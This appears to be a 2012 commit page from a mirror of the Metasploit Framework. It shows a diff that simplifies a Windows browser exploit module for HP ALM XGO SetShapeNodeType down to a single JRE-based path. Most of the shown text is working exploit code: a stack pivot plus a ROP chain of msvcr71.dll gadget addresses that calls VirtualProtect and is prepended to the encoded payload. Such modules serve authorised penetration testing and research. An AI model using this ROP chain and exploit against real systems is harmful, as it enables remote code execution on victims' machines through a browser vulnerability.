infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Only JRE ROP is used

unstable
sinn3r 2012-09-24 10:21:02 -05:00
parent fe63c97005
commit 57b3aae9c0
1 changed files with 30 additions and 33 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

63
modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez', # Metasploit
'juan vazquez' # Metasploit
],
'References' =>
[
@ -191,40 +191,37 @@ class Metasploit3 < Msf::Exploit::Remote
code = payload.encoded
# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :jre
exec_size = 0xffffffff - code.length + 1
junk = rand_text_alpha(4).unpack("V")[0].to_i
exec_size = 0xffffffff - code.length + 1
junk = rand_text_alpha(4).unpack("V")[0].to_i
stackpivot =
[
0x0c0c0c10,
0x7c342643, # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn from msvcr71.dll
junk
].pack("V*")
stackpivot =
[
0x0c0c0c10,
0x7c342643, # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn from msvcr71.dll
junk
].pack("V*")
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
exec_size, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
exec_size, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
code = stackpivot + rop + code
return code